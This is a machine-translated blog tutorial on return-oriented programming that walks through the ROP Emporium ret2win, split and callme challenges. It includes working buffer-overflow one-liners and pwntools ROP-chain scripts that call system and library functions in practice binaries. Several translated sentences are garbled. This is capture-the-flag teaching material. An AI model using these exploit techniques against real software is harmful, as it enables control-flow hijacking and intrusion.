Tecnología de ataque de memoria ROP en arquitectura x86 (1)

1 Introducción a ROP

La programación orientada al retorno (Programación orientada al retorno, ROP) es una tecnología avanzada de ataque de memoria, principalmente para evitar los medios de defensa del sistema operativo NX. Esta tecnología a menudo utiliza algunas vulnerabilidades existentes, especialmente desbordamientos de búfer. Los atacantes controlan las llamadas de la pila para secuestrar el flujo de control del programa y ejecutar secuencias de instrucciones específicas del lenguaje de máquina (gadgets). Estas combinaciones de gadgets pueden ejecutar con éxito el nuestro Lógica

Modificamos la dirección de retorno para que apunte a la instrucción que queremos señalar. Si esta instrucción termina con ret, entonces sp + 4, en este momento, el siguiente espacio en la dirección de retorno original en la pila se convierte en la dirección de retorno ( retinstrucción Equivalente a pop eip; esp = esp + 4), podemos repetir este proceso sin parar, siempre que cada instrucción que se señale termine con ret. (La ejecución de Ret hará sp + 4), de modo que los gadgets se puedan ejecutar continuamente.

Inserte la descripción de la imagen aquí
Existen muchos tipos de dispositivos, por lo que no los enumeraré uno por uno. Tomemos un caso práctico para analizar cómo construir una cadena de ROP para lograr el efecto de la explotación de vulnerabilidades. A continuación se proporciona un ejemplo con el título proporcionado por ROP Emporium. Si antes de esto, puede tener una buena comprensión de la pila, llamadas de función y parámetros de paso, es mejor. Si está confundido con el tema, creo que el artículo que escribí antes puede ayudar: comprender el registro ebp y esp, el proceso de llamada de función, la transferencia de parámetros de función y el balance de pila desde una perspectiva de ensamblaje

2 ROP Emporium

ROP Emporium proporciona 7 archivos binarios con mayor dificultad, y se divide en 32 bits y 64 bits. Las lagunas de estos programas son las mismas, todas son un simple desbordamiento de pila y las opciones de compilación segura de todos los archivos también son las mismas.

Inserte la descripción de la imagen aquí
Dado que la opción de compilación segura de que la pila no es ejecutable se ha activado, no tenemos forma de ejecutar nuestra carga útil escribiendo el código de shell y apuntando directamente la dirección de retorno al código de shell. El método más directo es ROP, y deja que la dirección de retorno apunte a la instrucción de ensamblaje originalmente contenida en el programa. Aunque todos son desbordamientos de pila, estos 7 binarios contienen diferentes gadgets que se pueden usar, y la dificultad también es de baja a profunda.

Vulnerabilidad

En la función pwnme, se asigna una variable, que es 0x28 = 40 bytes desde la parte inferior de la pila, y la cadena ingresada por el usuario se almacena en esta variable. Por lo tanto, una vez que la entrada del usuario exceda los 40 bytes, se producirá un desbordamiento de la pila.
Inserte la descripción de la imagen aquí
Si se siente abstracto, a partir del código descompilado IDA, puede ver aún más la lógica del
Inserte la descripción de la imagen aquí
programa. Se encuentran las lagunas de cada programa. El siguiente paso es mirar En cada programa, cuáles son los fragmentos de código binario que se pueden usar, es decir, lo que llamamos gadget, se combinan, puede lograr resultados inesperados.

2.1.1 ret2win32

Por shift + F12la manera de encontrar una palabra clave, combinado con el código de citas, es fácil encontrar ret2win()la función, el código que desea realizar

Inserte la descripción de la imagen aquí
ret2win() El código de desmontaje es el siguiente, que también es bastante simple.

Inserte la descripción de la imagen aquí
Por lo tanto, los puntos de dirección de retorno 0x08048659, 0x08048672pueden lograr el efecto deseado

# 以下两条命令均可
python -c "print 'a'*44 + '\x59\x86\x04\x08'" | ./ret2win32
python -c "print 'a'*44 + '\x72\x86\x04\x08'" | ./ret2win32
# 使用 pwntools 脚本也是可以的,只不过这里比较简单,没必要还写个 python

Resultado de la operación

Inserte la descripción de la imagen aquí

2.1.2 ret2win

Los programas de 64 bits son diferentes de los programas de 32 bits, que utilizan registros para pasar parámetros en lugar de encontrar los parámetros en la pila a través de ebp. Por supuesto, no hay un impacto real en esta pregunta. Pero en ret2win, el desplazamiento de las variables locales que pueden desbordarse es diferente del de 32 bits.

Inserte la descripción de la imagen aquí
La distancia entre la variable ingresada por el usuario aquí y rbp es 0x20 = 32 bytes , por lo que al escribir el código de explotación, debe completar 32 + 8 bytes de datos inútiles (los principios de otras vulnerabilidades y los gadgets disponibles y 32 bits Consistente)

python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
python -c "print 'a'*40 + '\x24\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win

Resultado de la operación

Inserte la descripción de la imagen aquí

2.2.1 split32

La diferencia con ret2win32 es que esta vez no hay un código de ejecución de un solo paso. Nuestra idea es dejar que la dirección de retorno apunte 0x08048657, pero al mismo tiempo especificar los parámetros para la función del sistema. 0x0804A030Almacenamos los parámetros que queremos.

# data
.data:0804A030                 public usefulString
.data:0804A030 usefulString    db '/bin/cat flag.txt',0
# usefulFunction
.text:08048652                 push    offset command  ; "/bin/ls"
.text:08048657                 call    _system

Método uno

La operación directa call _systemde comandos, parámetros keep seguido de inmediato, que no requiere una pila equilibrada. Sistema como cuando se llama a la subrutina, el espacio de pila de la caja, los detalles, puede hacerse referencia apreciado ebp y esp registro, una llamada de función, los parámetros de una función se pasan desde el conjunto y el ángulo de la balanza pila

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048657 ——-—>  上一个函数执行 ret, sp + 4
|----------------|	 下一个函数执行 call, sp - 4,返回地址又压入原来的栈空间
|system 参数      push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|

Debido a que el programa de 32 bits encuentra el parámetro formal de acuerdo con el desplazamiento de ebp, y aquí, la llamada directa call _system, ebp relativa a la posición anterior de la función ebp no ha cambiado, por lo que la posición del parámetro no ha cambiado. El código de explotación es el siguiente

# python -c "print 'a'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

Método dos

Encuentre la ubicación del plt del sistema , la dirección de retorno se desborda directamente a esa dirección y luego pase los parámetros, pero en este caso, necesita equilibrar la pila, ¿por qué? Esto todavía tiene que analizar los cambios de pila durante la llamada a la función.

Esta es la entrada del sistema en plt

.plt:08048430 ; int system(const char *command)
.plt:08048430 _system         proc near               ; CODE XREF: usefulFunction+E↓p
.plt:08048430
.plt:08048430 command         = dword ptr  4
.plt:08048430
.plt:08048430                 jmp     ds:off_804A018
.plt:08048430 _system         endp

Si la dirección de retorno del desbordamiento se cambia directamente al sistema correspondiente en plt, el espacio de la pila es el siguiente

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048430 ——-—>  上一个函数执行 ret, sp + 4
|----------------|			xxx这一步不执行 - 不执行 call 指令,sp 也不会归位
|null   					system 中的 push ebp,此时 ebp 会跑到栈中 返回地址 的位置
|---------------|
|system 参数					ebp + 8 找到的参数位置

Por lo tanto, después de devolver la dirección, se deben completar otros 4 bytes para mantenerse al día con los parámetros

python -c "print 'a'*44 + '\x30\x84\x04\x08' + 'a'*4 + '\x30\xa0\x04\x08'" | ./split32

Resultado de la operación

Inserte la descripción de la imagen aquí

2.2.2 división

Los programas de 64 bits usan registros para pasar parámetros. El primer parámetro se almacena en el registro rdi. En este momento, se necesitan herramientas para encontrar el código de ensamblaje específico.

ROPgadget Es una excelente herramienta de búsqueda de gadgets, el uso es el siguiente

$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret

O plug-in de uso BGF pedaque viene con ROPsearchel comando

gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3')	pop rdi; ret

La pila construida es la siguiente

|----------------|
|rbp:aaaa aaaa    
|----------------|		
|返回地址:0x400883		ret		 # sp - 8	sp 指向 下一行
|----------------|		pop rdi  # sp - 8	将这一行的参数放进 rdi 寄存器中,参数构造成功
|system 参数 flag		ret		 # sp - 8
|----------------|
|要执行的函数地址,由于 64 位程序中,寻找参数不依赖堆栈,依靠寄存器,所以不需要平衡堆栈

Explotar

# 同样的道理,既可以直接执行 call _system,也可以执行 plt 中的 _system,不过都不需要平衡堆栈了
python -c "print'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split

Resultado de la operación

Inserte la descripción de la imagen aquí

2.3.1 callme32

A partir de esta pregunta, es un poco más difícil, principalmente porque el nivel lógico del código se vuelve más complicado. Las dos primeras preguntas pertenecen a ret2textesta pregunta. Esta pregunta introduce el archivo de la biblioteca escrito por mí mismo. La cadena ROP puede usar las instrucciones binarias en el archivo .so, por lo que lo llamamosret2lib

Inserte la descripción de la imagen aquí
La función usefulFunctionutiliza tres funciones _callme_one two three, y estas tres funciones son símbolos externos. Use readelf u objdump para ver las dependencias requeridas por el archivo binario

root@kali:~/Documents/ROPEmpurium/callme32# readelf -dl callme32 | grep NEEDED
# objdump -p callme32 | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libcallme32.so]
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]

Estas tres funciones son funciones de la biblioteca no estándar, es inevitable en el libcallme32.soarchivo. Use el desmontaje IDA para ver el papel de las tres funciones

callme_one Leer contenido de marca cifrado

Inserte la descripción de la imagen aquí
callme_twoCiclo o la voluntad, el descifrado, y no es una variable global g_bufen

Inserte la descripción de la imagen aquí
callme_three Haga un bucle o continúe descifrando e imprimiendo el resultado

Inserte la descripción de la imagen aquí
Por lo tanto, la cadena ROP final debe ejecutar tres funciones en secuencia, pero cada función debe pasar tres parámetros de 1, 2 y 3, para que la función pueda ir a la rama correcta e imprimir la bandera. Aquí y no se ejecutan directamente usefulFunctionla función, sólo se puede encontrar un lugar en las tres funciones del PLT. Tenga en cuenta que hemos declarado en split32 que la pila necesita ser equilibrada. Necesidad de poner tres parámetros, lo que corresponde, sino que también requiere tres popinstrucciones al equilibrio, en la sección de pila equilibrada han dicho

root@kali:~/Documents/ROPEmpurium/callme32# ROPgadget --binary callme32 --only 'pop|ret'
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1

Unique gadgets found: 7

0x080488a9 Para satisfacer nuestras necesidades, por lo tanto, el código de utilización final es el siguiente

from pwn import *

sh = process("./callme32")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt = 0x080485C0
two_plt = 0x08048620
three_plt = 0x080485B0
pop_ret_gadget = 0x080488a9
args = p32(0x01) + p32(0x02) + p32(0x03)

payload = "a"*44
payload += p32(one_plt) + p32(pop_ret_gadget) + args
payload += p32(two_plt) + p32(pop_ret_gadget) + args
payload += p32(three_plt) + p32(pop_ret_gadget) + args

sh.sendline(payload)
sh.recv()

Resultado de la operación

Inserte la descripción de la imagen aquí

2.3.2 callme

Los programas de 64 bits usan registros para pasar parámetros (los primeros dos o tres parámetros corresponden a rdi rsi rdx), en lugar de la pila, que ya se mencionó en la sección anterior. Si usted no sabe mucho acerca de la participación masiva, Bienvenido a entender ebp y registro ESP, una llamada a la función, la función de paso de parámetros y el equilibrio pila desde el punto de vista del montaje . Aquí también, necesitamos encontrar pop rdi, pop rsi, pop rdx, para que podamos pasar parámetros

# ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret

Esta pila necesita ser construida cuidadosamente y es diferente de los programas de 32 bits.

from pwn import *

sh = process("./callme")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt_addr = 0x0000000000401850
two_plt_addr = 0x0000000000401870
three_plt_addr = 0x0000000000401810
pop_args_gadget = 0x0000000000401ab0

args = p64(0x01) + p64(0x02) + p64(0x03)

payload = "a" * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)

sh.sendline(payload)
sh.recv()

Resultado de la operación

Inserte la descripción de la imagen aquí

3 Resumen

En varios casos prácticos, analizamos cómo usar la cadena ROP para lograr el propósito de controlar el flujo del programa. En este resquicio, ret2win y split pertenecen ret2text, y la dirección de retorno apunta a un fragmento de código en este programa; callme pertenece ret2libo ret2plt(este nombre no es común), la dirección de retorno apunta a una función en la biblioteca libc. Si insiste en comprender estas preguntas, los problemas posteriores no serán un problema.

52 artículos originales publicados · Me gusta 30 · Visitas 50,000+

Supongo que te gusta

Origin blog.csdn.net/song_lee/article/details/105285418
Recomendado
Clasificación